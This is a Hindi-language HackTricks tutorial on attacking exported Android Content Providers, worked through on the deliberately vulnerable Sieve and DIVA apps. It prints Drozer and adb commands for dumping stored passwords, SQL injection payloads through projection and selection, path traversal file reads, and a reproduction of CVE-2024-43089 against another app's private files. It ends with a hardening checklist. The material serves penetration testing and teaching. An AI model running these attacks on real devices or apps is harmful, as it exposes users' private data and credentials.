Exploiting Content Providers
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Intro
डेटा एक एप्लिकेशन से अन्य एप्लिकेशनों को एक सामग्री प्रदाता के रूप में जाने जाने वाले घटक द्वारा अनुरोध पर प्रदान किया जाता है। इन अनुरोधों का प्रबंधन ContentResolver class विधियों के माध्यम से किया जाता है। सामग्री प्रदाता अपने डेटा को विभिन्न स्थानों पर संग्रहीत कर सकते हैं, जैसे कि डेटाबेस, फाइलें, या एक नेटवर्क पर।
Manifest.xml फ़ाइल में, सामग्री प्रदाता की घोषणा आवश्यक है। उदाहरण के लिए:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
content://com.mwr.example.sieve.DBContentProvider/Keys
तक पहुँचने के लिए READ_KEYS
अनुमति आवश्यक है। यह ध्यान देने योग्य है कि /Keys/
पथ निम्नलिखित अनुभाग में पहुँच योग्य है, जो डेवलपर की एक गलती के कारण सुरक्षित नहीं है, जिसने /Keys
को सुरक्षित किया लेकिन /Keys/
को घोषित किया।
शायद आप निजी डेटा तक पहुँच सकते हैं या कुछ कमजोरियों (SQL Injection या Path Traversal) का लाभ उठा सकते हैं।
खुली सामग्री प्रदाताओं से जानकारी प्राप्त करें
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
यह संभव है कि DBContentProvider तक पहुँचने के लिए URIs को “content://” से शुरू किया जाए। यह दृष्टिकोण Drozer का उपयोग करने से प्राप्त अंतर्दृष्टियों पर आधारित है, जहाँ महत्वपूर्ण जानकारी /Keys निर्देशिका में स्थित थी।
Drozer कई URIs का अनुमान लगा सकता है और कोशिश कर सकता है:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
आपको ContentProvider कोड की भी जांच करनी चाहिए ताकि आप क्वेरीज़ खोज सकें:
इसके अलावा, यदि आप पूर्ण क्वेरीज़ नहीं खोज पा रहे हैं, तो आप जांच सकते हैं कि ContentProvider द्वारा कौन से नाम घोषित किए गए हैं onCreate
मेथड पर:
क्वेरी इस तरह होगी: content://name.of.package.class/declared_name
डेटाबेस-समर्थित Content Providers
संभवतः अधिकांश Content Providers का उपयोग डेटाबेस के लिए इंटरफेस के रूप में किया जाता है। इसलिए, यदि आप इसे एक्सेस कर सकते हैं, तो आप जानकारी निकालने, अपडेट करने, डालने और हटाने में सक्षम हो सकते हैं।
जांचें कि क्या आप संवेदनशील जानकारी तक पहुँच सकते हैं या इसे अधिकृतता तंत्र को बायपास करने के लिए बदलने की कोशिश करें।
Content Provider के कोड की जांच करते समय देखें कि क्या फंक्शंस नामित हैं जैसे: query, insert, update और delete:
क्योंकि आप उन्हें कॉल करने में सक्षम होंगे
क्वेरी सामग्री
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Insert content
डेटाबेस को क्वेरी करके आप कॉलम के नाम जानेंगे, फिर, आप DB में डेटा डालने में सक्षम होंगे:
ध्यान दें कि इनसर्ट और अपडेट में आप --string का उपयोग स्ट्रिंग, --double का उपयोग डबल, --float, --integer, --long, --short, --boolean को इंगित करने के लिए कर सकते हैं
Update content
कॉलम के नाम को जानकर आप एंट्रीज़ को भी संशोधित कर सकते हैं:
Delete content
SQL Injection
SQL इंजेक्शन (SQLite) के लिए परीक्षण करना सरल है प्रोजेक्शन और चयन फ़ील्ड्स को मैनिपुलेट करके जो कंटेंट प्रोवाइडर को पास किए जाते हैं।
कंटेंट प्रोवाइडर को क्वेरी करते समय जानकारी खोजने के लिए 2 दिलचस्प तर्क हैं: --selection और --projection:
आप SQL इंजेक्शन के लिए परीक्षण करने के लिए इन पैरामीटर्स का दुरुपयोग करने की कोशिश कर सकते हैं:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Drozer द्वारा स्वचालित SQLInjection खोज
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
फाइल सिस्टम-समर्थित सामग्री प्रदाता
सामग्री प्रदाताओं का उपयोग फाइलों तक पहुँचने के लिए भी किया जा सकता है:
पढ़ें फाइल
आप सामग्री प्रदाता से फाइलें पढ़ सकते हैं।
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
पथ यात्रा
यदि आप फ़ाइलों तक पहुँच सकते हैं, तो आप पथ यात्रा का दुरुपयोग करने की कोशिश कर सकते हैं (इस मामले में यह आवश्यक नहीं है लेकिन आप "../" और समान तरकीबों का उपयोग करने की कोशिश कर सकते हैं)।
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Drozer द्वारा स्वचालित पथ यात्रा खोज
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
2023-2025 अपडेट और आधुनिक टिप्स
Drozer 3.x (Python 3) जारी है
WithSecure ने 2022 में drozer का रखरखाव फिर से शुरू किया और फ्रेमवर्क को Python 3 (नवीनतम 3.1.0 – अप्रैल 2024) में पोर्ट किया। संगतता सुधारों के अलावा, Content Providers के साथ काम करते समय विशेष रूप से उपयोगी नए मॉड्यूल शामिल हैं:
scanner.provider.exported
– केवल उन प्रदाताओं की सूची बनाएं जिनके पासandroid:exported="true"
है।app.provider.grant
– स्वचालित रूप सेgrantUriPermission()
को कॉल करें ताकि आप उन प्रदाताओं से बात कर सकें जो Android 12+ परFLAG_GRANT_READ_URI_PERMISSION
/FLAG_GRANT_WRITE_URI_PERMISSION
की अपेक्षा करते हैं।- Scoped Storage का बेहतर प्रबंधन ताकि Android 11+ पर फ़ाइल-आधारित प्रदाता अभी भी पहुँचे जा सकें।
अपग्रेड (होस्ट और एजेंट):
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
Using the built-in cmd content
helper (ADB ≥ 8.0)
सभी आधुनिक Android उपकरणों में एक CLI होता है जो प्रदाताओं को किसी एजेंट को स्थापित किए बिना क्वेरी/अपडेट कर सकता है:
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
run-as <pkg>
या एक रूटेड शेल के साथ मिलाकर आंतरिक-केवल प्रदाताओं का परीक्षण करें।
हाल के वास्तविक दुनिया के CVEs जिन्होंने Content Providers का दुरुपयोग किया
CVE | वर्ष | घटक | बग वर्ग | प्रभाव |
---|---|---|---|---|
CVE-2024-43089 | 2024 | MediaProvider | openFile() में पथ यात्रा | किसी भी ऐप के निजी स्टोरेज से मनमाना फ़ाइल पढ़ना |
CVE-2023-35670 | 2023 | MediaProvider | पथ यात्रा | जानकारी का खुलासा |
एक कमजोर निर्माण पर CVE-2024-43089 को फिर से बनाएं:
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
API 30+ के लिए हार्डनिंग चेकलिस्ट
android:exported="false"
घोषित करें जब तक कि प्रदाता सार्वजनिक न हो – API 31 से यह विशेषता अनिवार्य है।- पूरे प्रदाता को निर्यात करने के बजाय अनुमतियों और/या
android:grantUriPermissions="true"
को लागू करें। - अनुमत
projection
,selection
औरsortOrder
तर्कों की सफेद सूची बनाएं (जैसेSQLiteQueryBuilder.setProjectionMap
के साथ क्वेरी बनाना)। openFile()
में अनुरोधित पथ को मानकीकरण करें (FileUtils
) और यात्रा को रोकने के लिए..
अनुक्रमों को अस्वीकार करें।- फ़ाइलों को उजागर करते समय स्टोरेज एक्सेस फ्रेमवर्क या
FileProvider
को प्राथमिकता दें।
हाल के Android संस्करणों में ये परिवर्तन कई विरासती शोषण प्राइमिटिव अभी भी काम करते हैं, लेकिन अतिरिक्त ध्वज/अनुमतियों की आवश्यकता होती है जिन्हें अपडेट किए गए drozer मॉड्यूल या cmd content
सहायक स्वचालित रूप से लागू कर सकते हैं।
संदर्भ
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
- https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0
- https://source.android.com/security/bulletin/2024-07-01
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।